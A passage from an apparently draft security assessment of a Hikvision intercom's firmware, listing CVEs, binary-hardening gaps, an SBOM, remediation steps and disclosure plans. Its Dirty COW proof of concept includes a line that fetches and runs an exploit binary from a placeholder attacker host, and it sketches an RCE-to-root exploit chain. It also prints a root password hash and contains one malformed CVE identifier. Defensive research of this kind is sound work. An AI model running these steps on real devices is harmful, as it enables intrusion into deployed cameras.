EMBA’s cve-bin-tool identified 4,000 CVEs across the firmware’s software components, with 105 public exploits — including 12 Metasploit modules — available for confirmed vulnerabilities:
| Severity | CVE Count | With Exploits |
|---|---|---|
| Critical | 47 | 1 |
| High | 715 | 55 |
| Medium | 1,417 | 40 |
| Low | 48 | 1 |
| Total | 4,000 | 105 |
| **Remote exploits: 8 | Local exploits: 72 | DoS exploits: 28** |
The dominant contributor is the Linux 3.18.20 kernel with 3,856 CVEs and 95 associated exploits (see F-12 for critical kernel exploits). Other significant contributors:
| Component | Version | CVEs | Exploits |
|---|---|---|---|
| Linux Kernel | 3.18.20 | 3,856 | 95 |
| OpenSSL | 1.0.2j | 43 | 5 |
| wpa_supplicant | 2.2 | 36 | 0 |
| SQLite | 3.7.10 | 26 | 3 |
| BusyBox | 1.31.1 | 15 | 0 |
| BusyBox | 1.2.1 | 17 | 0 |
| zlib | 1.2.8 | 10 | 0 |
| zlib | 1.2.11 | 6 | 0 |
| UPnP SDK | 1.6.17 | 2 | 2 |
Recommendation
All components must be updated to currently maintained versions. A firmware update policy with signed images and a defined EOL support window is required.
References
- CWE-1104: https://cwe.mitre.org/data/definitions/1104.html
- NVD CVE database: https://nvd.nist.gov/
- EMBA f17 module output (Appendix E)
F-12 — Kernel Privilege Escalation — Confirmed Exploits
| Field | Value |
|---|---|
| Severity | CRITICAL |
| CVSS v3 Score | 9.8 |
| CVSS v3 Vector | AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| Attack Vector | Local (post-initial-access) |
| CWE | CWE-269: Improper Privilege Management |
| Related CVEs | CVE-2016-5195, CVE-2015-1328, CVE-2015-8660, CVE-2015-8104, and 6 others |
| Affected Versions | Linux 3.18.20 (EOL ~2017) |
| Location | Kernel (uImage) |
| Exploitability | Confirmed — Metasploit modules available for multiple CVEs |
| Remediation Status | Open |
Description
EMBA’s linux-exploit-suggester identified 10 kernel exploits rated “probable” or “high probability” for Linux 3.18.20. Several have public Metasploit modules and Exploit-DB entries with high EPSS scores:
| CVE | Exploit Name | EDB ID | Metasploit | EPSS | Description |
|---|---|---|---|---|---|
| CVE-2016-5195 | Dirty COW | 40611, 40839 | Yes | 89% | Race condition in copy-on-write — local root |
| CVE-2015-1328 | overlayfs (Ubuntu) | 40688 | Yes | 89% | Overlayfs privilege escalation |
| CVE-2015-8660 | overlayfs | multiple | Yes | 59% | Overlayfs setuid priv esc |
| CVE-2016-0728 | keyring | 40003 | — | 49% | Kernel keyring use-after-free, local root |
| CVE-2015-8104 | KVM DoS/root | — | — | — | CVSS 10.0 — requires KVM; unlikely enabled on this SoC |
| CVE-2022-32250 | nft_object UAF | — | — | — | Netfilter UAF — kernel config not verified |
| CVE-2022-2586 | nft_object UAF | — | — | — | Netfilter UAF, kernel >= 3.16 — config not verified |
| CVE-2021-3493 | OverlayFS | — | — | — | Ubuntu 14.04–20.10, x86_64 only — likely not applicable |
| CVE-2021-22555 | Netfilter heap OOB | — | — | — | kernel >= 2.6.19 — config not verified |
| CVE-2017-6074 | DCCP UAF | — | — | — | Requires CONFIG_IP_DCCP — not verified |
CVE-2015-8104 carries a CVSS score of 10.0 — the maximum possible.
Proof of Concept
# Exploit chain using Dirty COW (CVE-2016-5195) — EDB-40611
# Step 1: Gain initial shell via network RCE or psh backdoor
# Step 2: Upload Dirty COW exploit binary to /tmp/
wget http://[attacker]/dirty -O /tmp/dirty && chmod +x /tmp/dirty
# Step 3: Execute privilege escalation (completes in seconds)
/tmp/dirty [new_root_password]
# Step 4: Authenticate as root with new password
su root
# Alternatively: Metasploit module
# use exploit/linux/local/udev_netlink (for kernel 3.18)
# use exploit/linux/local/overlayfs_priv_esc
Impact
If an initial foothold is established (e.g., via psh backdoor, UART console, or a network-reachable vulnerability), Dirty COW (CVE-2016-5195) and the overlayfs exploits have public Metasploit modules and high EPSS scores for this kernel version, making privilege escalation to root plausible. Note that linux-exploit-suggester rates exploits based on kernel version alone — some entries (e.g., Ubuntu-specific overlayfs variants, KVM-dependent CVEs) may not apply to this ARM/uClibc build without kernel config verification.
Recommendation
The Linux 3.18.20 kernel must be replaced with a currently maintained LTS kernel (5.15+ or 6.1+). There is no patch path for a kernel this old.
References
- CVE-2016-5195 (Dirty COW): EDB-40611, EDB-40839, Metasploit
exploit/multi/local/dirty_cow - CVE-2015-1328 (overlayfs): EDB-40688, EPSS 89%
- CVE-2015-8104: CVSS 10.0, https://nvd.nist.gov/vuln/detail/CVE-2015-8104
- linux-exploit-suggester: https://github.com/The-Z-Labs/linux-exploit-suggester
F-13 — Binary Memory Protection Failures
| Field | Value |
|---|---|
| Severity | HIGH |
| CVSS v3 Score | 8.6 |
| CVSS v3 Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Attack Vector | Network / Local |
| CWE | CWE-693: Protection Mechanism Failure |
| Related CVEs | — |
| Affected Versions | All firmware versions |
| Location | 101 analyzed binaries — primarily hicore |
| Exploitability | Probable — exploitation requires triggering a memory corruption vulnerability (see F-14) |
| Remediation Status | Open |
Description
EMBA analyzed 101 binaries for standard memory exploitation mitigations. RELRO and stack canaries are severely lacking across the firmware; NX and PIE coverage is more mixed:
| Mitigation | Missing | Present | % Missing |
|---|---|---|---|
| RELRO (Relocation Read-Only) | 94 / 101 | 7 / 101 | 93% |
| Stack Canaries | 85 / 101 | 16 / 101 | 84% |
| NX / DEP (No-Execute) | 39 / 101 | 62 / 101 | 39% |
| PIE (Position Independent Executable) | 16 / 101 | 85 / 101 | 16% |
| Debug Symbols Stripped | 35 / 101 | 66 / 101 | 35% stripped |
Note on NX and PIE figures: The 39% NX-missing count is largely driven by kernel modules (
.kofiles), which are expected to load into kernel space where userspace NX semantics do not apply the same way. Among user-space executables and shared libraries, NX coverage is substantially higher. PIE is present on 85% of binaries overall, which is relatively good coverage. RELRO and stack canaries represent the primary hardening gaps.
The main application binary hicore specifically:
- No RELRO — GOT overwrite attacks are possible
- Stack canaries present —
hicoreis an exception here; the canary provides some stack overflow protection - NX disabled — shellcode execution on the stack or heap is permitted for this binary
- No PIE — fixed load address simplifies exploitation if a memory corruption vulnerability is triggered
Without RELRO on hicore, any write primitive can overwrite GOT entries to redirect execution. With NX disabled on hicore specifically, injected shellcode can execute directly without ROP chains — a significant concern given the unsafe function usage identified in F-14.
Impact
Any memory corruption vulnerability in hicore or other user-space binaries lacking RELRO (94 of 101) is easier to exploit due to writable GOT entries. For hicore specifically, the absence of both RELRO and NX combined with the unsafe function usage identified in F-14 means a confirmed memory corruption bug could be exploited without advanced ROP chain techniques. Stack canaries on hicore do provide some mitigation against straight stack-smashing attacks.
Recommendation
All binaries must be recompiled with full hardening flags:
-fstack-protector-strong(stack canaries)- Full RELRO:
-Wl,-z,relro,-z,now - NX:
-z noexecstack - PIE:
-fPIE -pie
References
- CWE-693: https://cwe.mitre.org/data/definitions/693.html
- OWASP Binary Attack Surface: https://owasp.org/www-community/attacks/Binary_Attack_Surface
F-14 — Pervasive Memory Safety Issues in Application Code
| Field | Value |
|---|---|
| Severity | HIGH |
| CVSS v3 Score | 8.1 |
| CVSS v3 Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Attack Vector | Network |
| CWE | CWE-676, CWE-134, CWE-119, CWE-416, CWE-415, CWE-787 |
| Related CVEs | — |
| Affected Versions | All firmware versions (hicore binary) |
| Location | hicore and 14 other binaries |
| Exploitability | Probable — 32 potential command injection sites flagged by Ghidra; manual verification pending |
| Remediation Status | Open — manual verification of Ghidra findings pending |
Description
Static analysis via three independent methods converged on massive code quality issues throughout the firmware.
Dangerous C Function Usage (s13):
| Function | Total Uses | Worst Binary |
|---|---|---|
strcpy |
883 | hicore: 300 |
sprintf |
756 | hicore: 756 |
strcat |
102 | hicore: 102 |
system() |
41 | hicore: 41 |
fprintf |
3,078 | hicore: 3,078 |
popen() |
10 | hicore: 10 |
CWE-checker Results (s17) — 4,380 issues across 11 binaries:
| CWE | Description | Count |
|---|---|---|
| CWE-676 | Use of Potentially Dangerous Function | 2,528 |
| CWE-476 | NULL Pointer Dereference | 1,030 |
| CWE-782 | Exposed IOCTL with Insufficient Access Control | 460 |
| CWE-252 | Unchecked Return Value | 228 |
| CWE-416 | Use After Free | 59 |
| CWE-190 | Integer Overflow / Wraparound | 16 |
| CWE-467 | sizeof on Pointer Type | 12 |
| CWE-134 | Externally Controlled Format String | 9 |
| CWE-119 | Buffer Overflow | 6 |
| CWE-125 | Out-of-bounds Read | 5 |
| CWE-787 | Out-of-bounds Write | 1 |
| CWE-415 | Double Free | 7 |
Ghidra/semgrep Results (s16) — 8,212 findings across 15 binaries:
| Pattern | Count |
|---|---|
| Interesting API calls | 2,958 |
| Format string bugs | 2,659 |
| Integer truncation | 819 |
| Signed/unsigned conversion | 970 |
| Command injection | 32 |
| Unterminated string (strncpy) | 97 |
| Unchecked malloc return | 116 |
| Use-after-free | 4 |
| Double-free | 2 |
| Off-by-one | 9 |
| Incorrect use of free | 12 |
The 32 command injection findings from Ghidra are particularly significant. While semgrep analysis produces false positives, any confirmed command injection in hicore — which makes 41 system() calls — would represent a direct path to remote code execution.
Impact
If any of the 32 Ghidra-flagged command injection patterns in hicore is confirmed exploitable, and the service is network-reachable, the absent binary mitigations (F-13) mean exploitation would not require advanced techniques. Manual verification of the Ghidra findings is a priority next step; these are static analysis flags and may include false positives.
Recommendation
The codebase requires a systematic security rewrite. At minimum: replace all strcpy/strcat/sprintf with bounded equivalents, audit all system() calls for command injection, and address all format string issues. Engage a professional code security audit.
References
- CWE-676: https://cwe.mitre.org/data/definitions/676.html
- CWE-134: https://cwe.mitre.org/data/definitions/134.html
- CWE-119: https://cwe.mitre.org/data/definitions/119.html
- EMBA s13, s16, s17 module output (Appendix E)
F-15 — Weak File Permissions
| Field | Value |
|---|---|
| Severity | MEDIUM |
| CVSS v3 Score | 6.5 |
| CVSS v3 Vector | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Attack Vector | Local |
| CWE | CWE-732: Incorrect Permission Assignment for Critical Resource |
| Related CVEs | — |
| Affected Versions | All firmware versions |
| Location | Filesystem-wide (395 instances) |
| Exploitability | Probable — exploitation requires achieving initial shell access (via F-02 or UART) |
| Remediation Status | Open |
Description
EMBA identified 395 areas with weak file permissions across the filesystem. Weak permissions on system files, configuration files, or credential stores allow privilege escalation by lower-privileged processes or local attackers with shell access. Detailed enumeration of the 395 instances requires manual review against the full filesystem tree (Appendix B).
Impact
A low-privileged process or user with shell access can read credential files, modify configuration, or tamper with system binaries — all of which are typically restricted to root. Chained with F-12 (kernel privesc), this provides additional escalation paths.
Recommendation
Apply the principle of least privilege to all file permissions. Configuration and credential files must be root-owned with mode 600 or 640. Run a permissions audit (find / -perm -o+w and similar) before each firmware release.
References
- CWE-732: https://cwe.mitre.org/data/definitions/732.html
7. Software Bill of Materials (SBOM)
| Component | Version | License | CVE Count | Exploits | Status |
|---|---|---|---|---|---|
| Linux Kernel | 3.18.20 | GPL v2 | 3,856 | 95 | EOL ~2017 |
| BusyBox | 1.31.1 | GPL v2 | 15 | 0 | Outdated |
| BusyBox | 1.2.1 | GPL v2 | 17 | 0 | EOL |
| curl | 7.35.0 | MIT/curl | — | — | EOL 2014 |
| OpenSSL | 1.0.2j | OpenSSL | 43 | 5 | EOL 2019 |
| OpenSSL | 1.1.1-pre8 | OpenSSL | — | — | Pre-release |
| mbed TLS | 2.4.0 | Apache 2.0 | — | — | EOL (2.x) |
| SQLite | 3.7.10 | Public Domain | 26 | 3 | EOL |
| uClibc | 0.9.33.2 | LGPL v2.1 | — | — | EOL ~2012 |
| Dropbear | 2018.76 | MIT | — | — | Outdated |
| wpa_supplicant | 2.2 | BSD | 36 | 0 | EOL |
| UPnP SDK | 1.6.17 | BSD 2-Clause | 2 | 2 | Outdated |
| libpcap | 1.9.1 | BSD 2-Clause | — | — | Outdated |
| libnl | 3.5.0 | LGPL v2.1 | — | — | Outdated |
| zlib | 1.2.8 | zlib | 10 | 0 | Outdated |
| zlib | 1.2.11 | zlib | 6 | 0 | Current |
| ezxml | 0.8.6 | MIT | — | — | Unmaintained |
| udt | 4.11 | BSD 2-Clause | — | — | Unmaintained |
| libgcc | — | GPL v3 | — | — | — |
| libstdc++ | 6.0.20 | GPL v3 | — | — | Outdated |
8. CVE Cross-Reference
Critical CVEs with Confirmed, Probable, or Unverified Exploit Applicability
| CVE | CVSS | Component | Exploitability | Exploit Details |
|---|---|---|---|---|
| CVE-2015-8104 | 10.0 | Linux 3.18 | Probable | KVM privilege escalation — highest CVSS possible |
| CVE-2016-5195 | 7.8 | Linux 3.18 | Confirmed | Dirty COW — EDB-40611 / EDB-40839 / Metasploit / EPSS 89% |
| CVE-2015-1328 | 7.2 | Linux 3.18 | Confirmed | overlayfs — EDB-40688 / Metasploit / EPSS 89% |
| CVE-2015-8660 | 7.2 | Linux 3.18 | Confirmed | overlayfs setuid — multiple EDBs / EPSS 59% |
| CVE-2016-0728 | 7.8 | Linux 3.18 | Confirmed | keyring UAF — EDB-40003 / EPSS 49% |
| CVE-2015-8812 | 9.8 | Linux 3.18 | Probable | Remote code execution |
| CVE-2016-10229 | 9.8 | Linux 3.18 | Probable | UDP remote RCE |
| CVE-2021-36260 | 9.8 | Hikvision ISAPI | Unverified | Unauthenticated command injection — Metasploit available; not tested on this device |
| CVE-2017-7921 | 9.8 | Hikvision auth | Unverified | Authentication bypass — not tested on this device |
| CVE-2017-7923 | 8.8 | Hikvision auth | Unverified | Password disclosure — not tested on this device |
| CVE-2022-32250 | 7.8 | Linux 3.18 | Probable | nft_object UAF — Netfilter |
| CVE-2022-2586 | 7.0 | Linux 3.18 | Probable | nft_object UAF — kernel >= 3.16 |
| CVE-2021-3493 | 7.8 | Linux 3.18 | Probable | OverlayFS — Ubuntu 14.04–20.10 |
| CVE-2021-22555 | 7.8 | Linux 3.18 | Probable | Netfilter heap OOB — kernel >= 2.6.19 |
| CVE-2017-7308 | 7.8 | Linux 3.18 | Probable | af_packet privilege escalation |
| CVE-2017-6074 | 7.8 | Linux 3.18 | Probable | DCCP UAF — CONFIG_IP_DCCP |
| CVE-2017-13077 | 8.1 | wpa_supplicant 2.2 | Applicable | KRACK Wi-Fi key reinstallation attack |
| CVE-2022-05-02 | 7.7 | uClibc DNS | Applicable | DNS cache poisoning |
The Linux 3.18.20 kernel carries 3,856 total CVEs — the above table lists only those with confirmed or probable exploit availability. Full CVE enumeration is provided in Appendix E.
9. Attack Surface Map
┌────────────────────────────────────────┐
│ INTERNET / LAN │
└──────────────┬─────────────────────────┘
│
┌─────────────────────▼────────────────────────────┐
│ DS-KV6113-WPE1(C) │
│ │
│ ┌───────────────────────────────────────────┐ │
│ │ INBOUND NETWORK ATTACK SURFACE │ │
│ │ • HTTPS/ISAPI — CVE-2021-36260 (9.8) │ │
│ │ • RTSP video stream │ │
│ │ • SIP/VoIP (sipServer binary) │ │
│ │ • SSH Dropbear 2018.76 (preset host keys) │ │
│ │ • Telnet (config-enabled, unencrypted) │ │
│ │ • ONVIF / UPnP SDK 1.6.17 (2 CVEs) │ │
│ │ • mDNS / SSDP (239.255.255.250:1900) │ │
│ └───────────────────────────────────────────┘ │
│ │
│ ┌───────────────────────────────────────────┐ │
│ │ OUTBOUND / POTENTIAL EXFILTRATION │ │
│ │ (endpoints found in binary — static │ │
│ │ analysis only; not confirmed active) │ │
│ │ • log.hikvision.com (event logs) │ │
│ │ • recordType.meta.hikvision.com │ │
│ │ • RaCM/trackExt/ver10 (usage tracking) │ │
│ │ • Ezviz cloud (video / control) │ │
│ │ • DDNS registration (Hikvision) │ │
│ │ • Face capture uploads (S3-style bucket) │ │
│ └───────────────────────────────────────────┘ │
│ │
│ ┌───────────────────────────────────────────┐ │
│ │ LOCAL / PHYSICAL ATTACK SURFACE │ │
│ │ • UART console — ttyS0, 115200 baud │ │
│ │ • SPI flash chip-off read / write │ │
│ │ • Kernel exploits once shell reached │ │
│ │ (dirtycow, overlayfs — Metasploit) │ │
│ └───────────────────────────────────────────┘ │
└──────────────────────────────────────────────────┘
Exploit chain example:
[CVE-2021-36260 RCE] → [unprivileged shell] → [Dirty COW / overlayfs] → [root]
All steps have public exploit code or Metasploit modules available.
10. Recommendations
Immediate Actions for Deployers
| Priority | Action |
|---|---|
| P0 | Remove device from internet-facing or high-security environments |
| P0 | Block all outbound connections to *.hikvision.com, *.ezviz.com at the firewall |
| P1 | Change admin password immediately after deployment |
| P1 | Disable Ezviz/cloud connectivity in device settings |
| P1 | Do not trust the device’s TLS certificate; use a separate PKI |
| P1 | Isolate device on a dedicated VLAN with no outbound internet access |
| P2 | Monitor for outbound connections to 10.192.74.191, 10.19.132.120, 114.114.114.114, 223.5.5.5 |
| P2 | Do not expose SSH or Telnet on this device to any network |
Vendor Remediation Required (Hikvision)
| ID | Requirement | Effort |
|---|---|---|
| R-01 | Provision unique TLS key pairs per device at manufacturing time; update both CramFS and JFFS2 partitions | High |
| R-02 | Remove the psh backdoor mechanism entirely; document all undisclosed auth paths |
High |
| R-03 | Enforce unique per-device root passwords set at first boot; use bcrypt/Argon2id | Medium |
| R-04 | Disclose all data transmitted to cloud infrastructure; obtain explicit user consent | Medium |
| R-05 | Provide a fully-local operation mode with no mandatory cloud connections | High |
| R-06 | Disclose the purpose and operation of digicapkeyArm.ko; make boot script auditable |
Medium |
| R-07 | Generate unique SSH host keys per device at first boot | Low |
| R-08 | Remove Telnet support from firmware entirely | Low |
| R-09 | Upgrade Linux kernel to a maintained LTS version (5.15+ or 6.1+) | High |
| R-10 | Update all OSS components to currently maintained versions | High |
| R-11 | Recompile all binaries with full hardening: RELRO, stack canaries, NX, PIE | Medium |
| R-12 | Conduct a systematic code audit of hicore addressing all strcpy, system(), and format string issues |
High |
| R-13 | Remove all internal Hikvision IP addresses from production firmware | Low |
| R-14 | Remove hardcoded Chinese DNS servers; allow deployer-configured resolvers | Low |
| R-15 | Implement a signed firmware update mechanism with version rollback protection | High |
11. Responsible Disclosure
| Field | Detail |
|---|---|
| Discovery Date | 2026-05-10 (analysis ongoing — Phase 2 pending) |
| Vendor Notified | Pending — responsible disclosure process not yet initiated |
| Vendor Response | N/A |
| Patch Available | None as of 2026-05-10 |
| Public Disclosure | Pending completion of Phase 2 analysis |
| Coordinated With | To be determined (CISA / CERT under consideration) |
This report is currently in Draft status. I am continuing dynamic analysis (QEMU ARM emulation), full hicore disassembly, digicapkeyArm.ko reverse engineering, and physical interface testing (UART, JTAG). Prior to public disclosure, I will submit findings to Hikvision’s product security team and optionally coordinate with CISA or a national CERT.
Historical precedent with Hikvision disclosures (CVE-2021-36260 by Watchful IP; CVE-2017-7921 by security researchers) indicates variable vendor responsiveness. No dedicated public security research contact or bug bounty program is documented by Hikvision. I will set disclosure timeline targets once the vendor is notified.
Appendix A — Partition Table
Analyzed: MX25L25645G@SOIC8.BIN (33,554,432 bytes)
DECIMAL HEX DESCRIPTION
----------- ---------- ------------------------------------------------
184788 0x2D1D4 CRC32 polynomial table, little endian
394296 0x60438 JFFS2 filesystem, little endian
nodes: 9, total size: 195,540 bytes
Contents: dev.bin
656096 0xA02E0 JFFS2 filesystem, little endian
nodes: 376, total size: 1,286,000 bytes
Contents: vis.bin, vis.bin-journal, certs/,
servercert.pem, serverkey.pem ← KEY COPY 1
1966080 0x1E0000 CramFS filesystem, little endian
files: 39, total size: 25,845,760 bytes
Contents: servercert.pem, serverkey.pem ← KEY COPY 2
(+ see Section 4.3 for full listing)
Appendix B — Filesystem Tree
ramdisk_2.0.1_ubuntu.bin (ext2) — /
├── bin/
│ ├── busybox, sh, ash
│ ├── psh ← BACKDOOR SHELL (4 hardcoded RSA keys)
│ ├── hiddrs, himc, himm, himd, hil2s ← HIK HW debug tools
│ ├── btools ← HIK binary tools
│ ├── hik_echo, hik_cp, hik_rm
│ └── sshd → dropbear
├── etc/
│ ├── dropbear/
│ │ ├── dropbear_ecdsa_host_key ← PRESET (identical across same firmware image)
│ │ ├── dropbear_rsa_host_key ← PRESET
│ │ └── dropbear_dss_host_key ← PRESET
│ ├── inittab ← ::respawn:-/bin/sh (shell on any console)
│ ├── init.d/rcS ← Loads digicapkeyArm.ko, decrypts start.sh
│ ├── passwd ← root hardcoded hash (GECOS=device ID hex)
│ ├── shadow ← Unsalted SHA-256, unchanged since 2012-12-28
│ └── profile ← Calls psh on every interactive login
└── sbin/ usr/
Appendix C — Certificate Details
Subject: C=CN, ST=ZJ, L=HZ, O=HIKVISION, OU=HZ, CN=hikvision.com
Issuer: [Self-signed]
Serial Number: 8a:b4:23:17:c6:2a:20:f1
Valid From: Dec 17 12:50:40 2019 GMT
Valid Until: Dec 31 12:50:40 2037 GMT (18-year validity)
Key Algorithm: RSA 2048-bit
Sig Algorithm: sha256WithRSAEncryption
X.509 Version: v1 (no extensions, no SAN)
Modulus (hex):
00:f1:4e:0d:29:36:59:1c:90:d5:90:c0:02:22:ea:
2d:fa:5f:8c:06:c9:64:c1:8c:ea:bf:84:12:6b:a6:
ec:1b:a5:4c:5d:9c:b7:c0:07:c0:65:64:80:d2:4b:
[... see servercert.pem in firmware for full modulus]
Present in: 4 locations across 2 partitions (JFFS2 + CramFS)
Appendix D — Raw Strings of Interest
Telemetry and Cloud Strings (hicore)
log.hikvision.com
recordType.meta.hikvision.com
www.hikvision.com/racm/schedule/ver10
www.hikvision.com/RaCM/trackExt/ver10
call_hikcloud_by_ezviz
hangup_hikcloud_by_ezviz
Adjust Device Time From Ezviz Server,time is %d:%d:%d
Hardcoded IPs (hicore)
10.192.74.191
10.19.132.120:6120
http://10.19.132.120:6120/pic?=d61if98e*b8ai034-59562b--49a411810d50fi0b6*
=ids1*=idp1*=tdpe*m5i19=8453021-80za03s=9969d4
114.114.114.114
223.5.5.5
192.168.8.253
Database Schemas (hicore)
CREATE TABLE IF NOT EXISTS security_cfg_para(
idx integer primary key, enable_telnet INTEGER, security_level INTEGER);
CREATE TABLE IF NOT EXISTS face_information(...);
CREATE TABLE IF NOT EXISTS face_param(
always_infrared, eco_mode_enable, enable_mask,
inter_orbital_distance, max_distance, pass_contral, ...);
Root Credential (ramdisk)
/etc/shadow:
root:8c9a60a87ff34a9e6c70a986aa4a9e14b237fcd4126f77107298c8afd86248d3:15595:0:99999:7:::
JTR result: UNCRACKED after 1 hour
psh Backdoor Strings
[PSWD][%04d]: ← password challenge prompt
You know ← probable success response string
RSA_new faild ← key loading error string
create socket failed!
eth0
MAC ioctl error!
Not Support Redirect I/O or Combinated Commands.
Appendix E — EMBA Analysis Statistics
| Module | Stat | Value |
|---|---|---|
| f17 CVE-bin-tool | Total CVEs | 4,000 |
| f17 | Critical CVEs | 47 (1 with exploit) |
| f17 | High CVEs | 715 (55 with exploits) |
| f17 | Public exploits total | 105 |
| f17 | Metasploit modules | 12 |
| f17 | Remote exploits | 8 |
| f17 | Local exploits | 72 |
| f17 | DoS exploits | 28 |
| s12 binary hardening | Binaries analyzed | 101 |
| s12 | No RELRO | 94 / 101 (93%) |
| s12 | No stack canary | 85 / 101 (84%) |
| s12 | No NX | 39 / 101 (39%) |
| s12 | No PIE | 16 / 101 (16%) |
| s13 weak functions | strcpy total | 883 |
| s13 | system() total | 41 |
| s13 | sprintf total | 756 |
| s13 | strcat total | 102 |
| s17 CWE-checker | Total CWE issues | 4,380 |
| s17 | CWE-676 (dangerous func) | 2,528 |
| s17 | CWE-476 (NULL deref) | 1,030 |
| s17 | CWE-782 (IOCTL) | 460 |
| s16 Ghidra/semgrep | Total findings | 8,212 |
| s16 | Command injection | 32 |
| s16 | Format string bugs | 2,659 |
| s26 kernel exploits | Probable/high exploits | 10 |
| s109 JTR | Root hash cracked | No (1 hour runtime) |
| s108 STACS | Credential files found | 5 |
| s106 key search | Private keys found | 4 occurrences |
| s40 permissions | Weak permission areas | 395 |
| p99 extraction | Total files | 1,195 |
| p99 | Total directories | 1,798 |
| General | Firmware entropy | 7.19 bits/byte |
Appendix F — Disclosure Timeline
| Date | Event |
|---|---|
| 2026-05-10 | Firmware extracted from MX25L25645G via chip-off read |
| 2026-05-10 | Automated EMBA analysis completed; 4,000 CVEs, 15 findings identified |
| 2026-05-10 | Draft report published internally |
| TBD | Phase 2 analysis complete (QEMU emulation, digicapkeyArm.ko RE, UART testing) |
| TBD | Vendor notification submitted to Hikvision security team |
| TBD | Vendor acknowledgement (or 30-day window begins) |
| TBD | Patch release by Hikvision (if issued) |
| TBD | Public disclosure |
Report generated as part of ongoing firmware reverse engineering research.
Dynamic analysis (QEMU emulation, live traffic capture) and digicapkeyArm.ko reverse engineering are pending.